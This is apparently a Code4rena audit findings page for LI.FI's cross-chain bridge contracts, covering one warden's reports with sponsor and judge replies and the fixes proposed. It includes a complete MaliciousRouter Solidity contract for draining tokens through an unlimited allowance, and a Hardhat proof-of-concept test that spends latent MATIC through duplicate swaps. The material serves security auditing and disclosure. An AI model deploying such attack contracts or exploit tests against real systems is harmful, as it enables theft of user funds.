Platform: Code4rena
Start Date: 24/03/2022
Pot Size: $75,000 USDC
Total HM: 15
Participants: 59
Period: 7 days
Judge: gzeon
Id: 103
League: ETH
Rank: 8/59
Findings: 8
Award: $3,115.31
🌟 Selected for report: 3
🚀 Solo Findings: 0
🌟 Selected for report: kirk-baird
https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Facets/AnyswapFacet.sol#L158-L166
All bridge integrations have the bridge addresses set by the owner with anyswap being the exception, where the router is passed as a parameter.
LibAsset.approveERC20(IERC20(_anyswapData.token), _anyswapData.router, _anyswapData.amount); IAnyswapRouter(_anyswapData.router).anySwapOut( _anyswapData.token, _anyswapData.recipient, _anyswapData.amount, _anyswapData.toChainId );
In particular, because an unlimited token allowance is given to the router, it is able to transfer more than _anyswapData.amount
should it be desired. A malicious router can therefore be implemented to steal latent non-native tokens from the contract.
Here’s an example of a malicious router that will be able to transfer any latent funds from the lifi contract once it has been given unlimited token allowance.
contract MaliciousRouter is IAnyswapRouter { using SafeERC20 for IERC20; address attacker; address lifi; address native; constructor(address _lifi, address _native) { attacker = msg.sender; lifi = _lifi; native = _native; } function wNATIVE() external override returns (address) { return native; } // to get lifi to give this contract allowance for a specified token function anySwapOutUnderlying( address token, address to, uint256 amount, uint256 toChainID ) external override { _transferAssetsFromLifi(IERC20(token)); } // to get lifi to give this contract allowance for a specified token function anySwapOut( address token, address to, uint256 amount, uint256 toChainID ) external override { _transferAssetsFromLifi(IERC20(token)); } // once lifi has given allowance, call this function anytime there is latent funds function pullFundsFromLifi(IERC20 token) external { _transferAssetsFromLifi(token); } function _transferAssetsFromLifi(IERC20 token) internal { token.safeTransferFrom(lifi, attacker, token.balanceOf(lifi)); } function anySwapOutNative( address token, address to, uint256 toChainID ) external payable override {} }
There should be a whitelist of approved routers that is only configurable by the owner and retrieved from storage.
#0 - H3xept
2022-04-11T08:17:41Z
Duplicate of #12
#1 - gzeoneth
2022-04-16T17:53:55Z
Duplicate of #117
🌟 Selected for report: hake
Also found by: Kenshin, Ruhum, VAD37, WatchPug, csanuragjain, hickuphh3, hyh, kirk-baird, obront, pmerkleplant, rayn, shw, tintin, wuwe1
77.3842 USDC - $77.38
https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Libraries/LibSwap.sol#L33 https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Libraries/LibSwap.sol#L42
Both native and non-native latent contract funds (eg. from airdrops or users that accidentally send directly to the contract) can be used by others for their own benefit.
This is a straight forward case since the library will only request funds from the user if the contract doesn’t have sufficient balance.
The underlying issue here is that msg.value
is used in a loop in the parent function caller Swapper#_executeSwaps()
that allows for multiple swaps. A user can therefore make a duplicate swap with an equivalent msg.value
being the contract’s latent funds.
it.only('Bob uses accidentally sent MATIC funds', async () => { // Alice accidentally sends 1 MATIC that she wanted to bridge const sendingAmount = constants.WeiPerEther await alice.sendTransaction({value: sendingAmount, to: lifi.address}) console.log(`contract MATIC bal before swap: ${(await network.provider.request({ method: 'eth_getBalance', params: [lifi.address] }))}`) const to = bob.address // should be a checksummed recipient address const deadline = Math.floor(Date.now() / 1000) + 60 * 20 // 20 minutes from the current Unix time const iface = new utils.Interface([ 'function swapExactETHForTokens(uint,address[],address,uint256)', ]) const USDT_ADDRESS = '0xc2132D05D31c914a87C6611C10748AEb04B58e8F' const WMATIC_ADDRESS = '0x0d500B1d8E8eF31E21C99d1Db9A6444d3ADf1270' const UNISWAP_ADDRESS = '0xa5E0829CaCEd8fFDD4De3c43696c57F7D7A678ff' await dexMgr.addDex(UNISWAP_ADDRESS) const uniswapData = iface.encodeFunctionData('swapExactETHForTokens', [ 0, [WMATIC_ADDRESS, USDT_ADDRESS], to, deadline, ]) // Bob uses Alice's 1 MATIC by specifying 2 swaps to USDT // Generate swap calldata const swapData = [ { callTo: UNISWAP_ADDRESS, approveTo: UNISWAP_ADDRESS, sendingAssetId: constants.AddressZero, receivingAssetId: USDT_ADDRESS, fromAmount: sendingAmount, callData: uniswapData, }, { callTo: UNISWAP_ADDRESS, approveTo: UNISWAP_ADDRESS, sendingAssetId: constants.AddressZero, receivingAssetId: USDT_ADDRESS, fromAmount: sendingAmount, callData: uniswapData, }, ] let usdt = IERC20__factory.connect(USDT_ADDRESS, alice) let bobUsdtBalBefore = await usdt.balanceOf(bob.address) await lifi.connect(bob).swapTokensGeneric( lifiData, swapData, { value: sendingAmount, // note that Bob only sends 1 MATIC, but is using 2 gasLimit: 500000, } ) console.log(`contract MATIC bal after swap: ${(await network.provider.request({ method: 'eth_getBalance', params: [lifi.address] }))}`) let usdtGain = (await usdt.balanceOf(bob.address)).sub(bobUsdtBalBefore) console.log(`bob usdt gain: ${usdtGain.toString()}`) });
For native funds, replace msg.value
in the swap()
function with fromAmount
.
(bool success, bytes memory res) = _swapData.callTo.call{ value: fromAmount }(_swapData.callData);
Then, ensure that msg.value
is equivalent to the total fromAmount
of all swaps that use native funds. The disadvantage to this is that you aren’t able to chain swaps that swap to the native asset (Eg. USDC -> ETH
via 1 exchange, then ETH -> USDT
via another).
For non-native funds, transfer funds from and to the user for each swap. This however comes at the expense of increased gas costs.
#0 - H3xept
2022-04-12T08:38:17Z
Duplicate of #66
We are aware that the contract allows users to use latent funds, although we disagree on it being an issue as no funds (ERC20 or native) should ever lay in the contract. To make sure that no value is ever kept by the diamond, we now provide refunds for outstanding user value (after bridges/swaps).
665.807 USDC - $665.81
https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Libraries/LibSwap.sol#L29-L58
It is probable for _swapData.fromAmount
to be greater than the actual amount used (eg. when swapping for an exact output, or when performing another swap after swapping with an exact input). However, these funds aren’t returned back to the user and are left in the lifi contract.
https://github.com/code-423n4/2022-03-lifinance/blob/main/test/facets/AnyswapFacet.test.ts#L153-L194
The test referenced above swaps for MATIC for 1000 USDT exactly. Logging the matic amounts before and after the swap and bridge call, one will find 18.01 MATIC is unused and left in the contract when it should be returned to the user.
Store the contract’s from balance before and after the swap. Refund any excess back to the user.
uint256 actualFromAmount = LibAsset.getOwnBalance(fromAssetId); (bool success, bytes memory res) = _swapData.callTo.call{ value: msg.value }(_swapData.callData); if (!success) { string memory reason = LibUtil.getRevertMsg(res); revert(reason); } actualFromAmount -= LibAsset.getOwnBalance(fromAssetId); require(fromAmount >= actualFromAmount, 'actual amount used more than specified'); // transfer excess back to user if (actualFromAmount != fromAmount) { // transfer excess to user // difference calculation be unchecked since fromAmount > actualFromAmount }
This comes with the requirement that the funds for every swap should be pulled from the user.
#0 - H3xept
2022-04-12T09:59:38Z
Fixed in lifinance/lifi-contracts@4d66e5ad5f9a897d9f8a66eb7a4e765e0b6ff97c
#1 - maxklenk
2022-04-14T08:42:09Z
We "disagree with severity" as this issue would not allow to access other users funds and only happens if the user passes these kind of swaps himself. The multi-swap feature is mainly used to allow swapping multiple different tokens into one, which is then fully swapped.
#2 - gzeoneth
2022-04-16T16:13:24Z
Agree with sponsor and adjusting this to Med Risk.
https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Facets/CBridgeFacet.sol#L150-L156
The external sendNative()
call fails to include sending the native tokens together with it.
Add the following test case to the [CBridgeFacet
test file](https://github.com/code-423n4/2022-03-lifinance/blob/main/test/facets/CBridgeFacet.test.ts).
// TODO: update bridge address to 0x5427FEFA711Eff984124bFBB1AB6fbf5E3DA1820 it.only('reverts because ETH not sent to bridge', async () => { CBridgeData.token = constants.AddressZero CBridgeData.amount = constants.One await expect(lifi.connect(alice).startBridgeTokensViaCBridge(lifiData, CBridgeData, { value: constants.One, gasLimit: 500000 })).to.be.revertedWith('Amount mismatch'); })
ICBridge(bridge).sendNative{ value: _cBridgeData.amount }( _cBridgeData.receiver, _cBridgeData.amount, _cBridgeData.dstChainId, _cBridgeData.nonce, _cBridgeData.maxSlippage );
In addition, add the payable
keyword to the CBridge interface.
#0 - H3xept
2022-04-11T10:59:48Z
Fixed in lifinance/lifi-contracts@b684627b57c4891bee13fcfcfcf2595965843cc6
#1 - gzeoneth
2022-04-16T16:24:44Z
Valid POC. Sponsor confirmed with fix.
https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Facets/DexManagerFacet.sol#L71-L73
The function intends to allow the removal of multiple dexes approved for swaps. However, the function will only remove the first DEX because return
is used instead of break
in the inner for loop.
if (s.dexs[j] == _dexs[i]) { _removeDex(j); // should be replaced with break; return; }
This error is likely to have gone unnoticed because no event is emitted when a DEX is added or removed.
Add the following lines below L44 of [AnyswapFacet.test.ts](https://github.com/code-423n4/2022-03-lifinance/blob/main/test/facets/AnyswapFacet.test.ts#L44)
await dexMgr.addDex(ANYSWAP_ROUTER) await dexMgr.batchRemoveDex([ANYSWAP_ROUTER, UNISWAP_ADDRESS]) // UNISWAP_ADDRESS remains as approved dex when it should have been removed console.log(await dexMgr.approvedDexs())
Replace return
with break
.
if (s.dexs[j] == _dexs[i]) { _removeDex(j); break; }
In addition, it is recommend to emit an event whenever a DEX is added or removed.
#0 - H3xept
2022-04-12T10:14:00Z
Fixed in lifinance/lifi-contracts@0a078bbbdf8ec92bd72efc4257900af416d537d4
#1 - gzeoneth
2022-04-16T16:33:19Z
Valid POC and sponsor confirmed with fix.
🌟 Selected for report: shw
Also found by: Picodes, hickuphh3, hyh, pmerkleplant
https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Facets/CBridgeFacet.sol#L68
Should msg.value
exceed _cBridgeData.amount
, the amount sent to the bridge might’ve only been the _cBridge.amount
(judging from the implementations from other faucets, since the cBridge failed to include sending native funds). The difference would’ve been left in the contract for other users to utilise.
What’s a little puzzling is that the >=
check is inconsistent with the other faucets’ implementations:
https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Facets/AnyswapFacet.sol#L50
https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Facets/HopFacet.sol#L64
Ensure strict equality of msg.value
and _cBridgeData.amount
.
require(msg.value == _cBridgeData.amount, "ERR_INVALID_AMOUNT");
#0 - H3xept
2022-04-11T11:16:58Z
Duplicate of #207
🌟 Selected for report: hake
Also found by: 0v3rf10w, 0xDjango, 0xkatana, BouSalman, CertoraInc, Dravee, Hawkeye, IllIllI, JMukesh, Jujic, Kenshin, PPrieditis, Picodes, PranavG, Ruhum, SolidityScan, VAD37, WatchPug, aga7hokakological, catchup, csanuragjain, cthulhu_cult, defsec, dimitri, hickuphh3, hubble, hyh, kenta, kirk-baird, obront, peritoflores, rayn, robee, saian, samruna, shenwilly, shw, sorrynotsorry, tchkvsky, teryanarmen, ych18
167.0761 USDC - $167.08
Overall, code quality for the Lifi contracts is good. The architecture is quite simple to grasp, where a number of facets handles integrations with existing bridges. Each bridge facet has functions to perform swaps prior to bridging the asset. The GenericSwapFaucet handles strictly swaps only. Other facets handle the ownership, withdrawal of funds and upgradeability aspects (addition & removal of facets).
Supporting documentation was adequate in understanding the purpose of the contracts.
One area of improvement is the swap implementation because it makes a number of assumptions / conditions that aren’t necessarily true. In my opinion, the root cause is because multiple swaps are supported in a single transaction. It perhaps might be better to integrate with DEX aggregators that better support this functionality.
While test coverage could be run, the reported numbers were unreliable (all 0%) presumably because the tests were done by forking mainnet conditions of different chains (ETH mainnet, polygon etc). Nevertheless, the tests mostly cover successful calls. It would be ideal to add more tests to ensure the contracts behave as expected.
https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Libraries/LibSwap.sol#L54-L55
The swap implementation seems to make the following assumptions / conditions that don’t necessarily hold:
_swapData.fromAmount
so that it does not have to pull funds from the user_swapData.fromAmount
from
and to
swap amounts recorded in AssetSwapped
eventThis issue explains the details of the last point.
The actual amount used for a swap may be more or less than fromAmount = _swapData.fromAmount
. Regardless, fromAmount
is logged as the amount used. Similarly, if the swap specifies the user as the recipient instead of the lifi contract, toAmount
will be zero. Hence, the amounts logged in the AssetSwapped
event could be incorrect.
For fromAmount
, use the difference between the contract balances before and after the swap.
For toAmount
, one way is to ensure that toAmount
is non-zero, though it isn’t entirely foolproof.
uint256 actualFromAmount = LibAsset.getOwnBalance(fromAssetId); uint256 toAmount = LibAsset.getOwnBalance(_swapData.receivingAssetId); // do swap (bool success, bytes memory res) = _swapData.callTo.call{ value: msg.value }(_swapData.callData); if (!success) { string memory reason = LibUtil.getRevertMsg(res); revert(reason); } actualFromAmount -= LibAsset.getOwnBalance(fromAssetId); // TODO: compare actualFromAmount with fromAmount ... toAmount = LibAsset.getOwnBalance(_swapData.receivingAssetId) - toAmount; require(toAmount > 0, "0 amount received by contract"); emit AssetSwapped( transactionId, _swapData.callTo, _swapData.sendingAssetId, _swapData.receivingAssetId, actualFromAmount, toAmount, block.timestamp );
A user that attempts to bridge with the wrapped native token or another ERC20 token, but mistakenly includes native funds with the function call will have those funds left in the contract for others to utilise.
Ensure msg.value
is 0 for non-native token bridges, like how it is enforced for completing the bridge transfer in the NXTPFaucet.
require(msg.value == 0, "ETH_WITH_ERC");
call()
instead of transfer()
for native asset withdrawalhttps://github.com/code-423n4/2022-03-lifinance/blob/main/src/Facets/WithdrawFacet.sol#L31
It is recommended to use call()
instead of transfer()
because the former fowards all remaining gas with the call, while the latter has a gas limit of 2300.
(bool success, ) = sendTo.call{ value: _amount }(""); require(success, "#TNA:028");
block.chainid
instead of a configurable and stored parameterhttps://github.com/code-423n4/2022-03-lifinance/blob/main/src/Facets/CBridgeFacet.sol#L46
https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Facets/HopFacet.sol#L51
The CBridge and Hop faucets take in the chainId as an input parameter, leading to possible mistakes in setting them. It is advisable to replace and utilise [block.chainid](https://docs.soliditylang.org/en/v0.8.7/cheatsheet.html?highlight=block.chainid#global-variables)
instead.
require
instead of assert
https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Facets/WithdrawFacet.sol#L30
https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Facets/WithdrawFacet.sol#L34
require
refunds all remaining gas while assert
doesn’t, should the condition fail. It is therefore advisable to use require
instead of assert
.
https://github.com/code-423n4/2022-03-lifinance/blob/main/config/cbridge2.ts#L19
https://github.com/code-423n4/2022-03-lifinance/blob/main/test/facets/CBridgeFacet.test.ts#L12
The bridge specified in the test file does not correspond to that in the config. Notably, the outdated bridge lacks the sendNative()
function.
Import the config into the test files. At the very least, ensure consistency in the addresses being used.
#0 - H3xept
2022-04-08T15:28:53Z
Duplicate of #14
#1 - H3xept
2022-04-11T11:20:33Z
Duplicate of #165
#2 - H3xept
2022-04-11T12:46:45Z
Duplicate of #53
🌟 Selected for report: Dravee
Also found by: 0v3rf10w, 0xDjango, 0xNazgul, 0xkatana, ACai, CertoraInc, FSchmoede, Funen, Hawkeye, IllIllI, Jujic, Kenshin, PPrieditis, Picodes, SolidityScan, TerrierLover, Tomio, WatchPug, catchup, csanuragjain, defsec, dimitri, hake, hickuphh3, kenta, minhquanym, obront, peritoflores, rayn, rfa, robee, saian, samruna, tchkvsky, teryanarmen, ych18
70.6981 USDC - $70.70
https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Facets/DexManagerFacet.sol#L20
https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Facets/DexManagerFacet.sol#L34
https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Facets/DexManagerFacet.sol#L47
https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Facets/DexManagerFacet.sol#L66
https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Facets/Swapper.sol#L16
Since the referenced lines are expressions that evaluate to booleans, there isn’t a need to check against the boolean literals true
and false
Replace if (condition == true)
and if (condition == false)
to if (condition)
and if (!condition)
respectively.
MAX_INT
https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Libraries/LibSwap.sol#L8
MAX_INT
is declared but not used in the LibSwap
contract. It can thus be removed.
_bridge()
with s.cBridge
https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Facets/CBridgeFacet.sol#L143-L144
The storage variable s
has been retrieved in the line above. The bridge address can therefore be directly fetched from it instead of making another internal function call.
Storage storage s = getStorage(); address bridge = s.cBridge;
_anyswapData.token
https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Facets/AnyswapFacet.sol#L37
https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Facets/AnyswapFacet.sol#L80
https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Facets/AnyswapFacet.sol#L145
If _anyswapData.token
is the zero address, calling IAnyswapToken(_anyswapData.token).underlying();
would revert with a call to a non-contract account. Hence the check _anyswapData.token != address(0)
is not necessary. Alternatively, shift the check to be before the call to fetch the underlying token address IAnyswapToken(_anyswapData.token).underlying();
.
require(_anyswapData.token != address(0), '0 anyswap token address'); address underlyingToken = IAnyswapToken(_anyswapData.token).underlying();
or remove the checks.
LibSwap#swap()
can be combinedhttps://github.com/code-423n4/2022-03-lifinance/blob/main/src/Libraries/LibSwap.sol#L33-L39
The condition if(!LibAsset.isNativeAsset(fromAssetId))
is checked twice. They should be combined to save gas.
if (!LibAsset.isNativeAsset(fromAssetId)) { LibAsset.approveERC20(IERC20(fromAssetId), _swapData.approveTo, fromAmount); if (LibAsset.getOwnBalance(fromAssetId) < fromAmount) { LibAsset.transferFromERC20(fromAssetId, msg.sender, address(this), fromAmount); } }
#0 - H3xept
2022-04-08T15:16:38Z
Duplicate of #100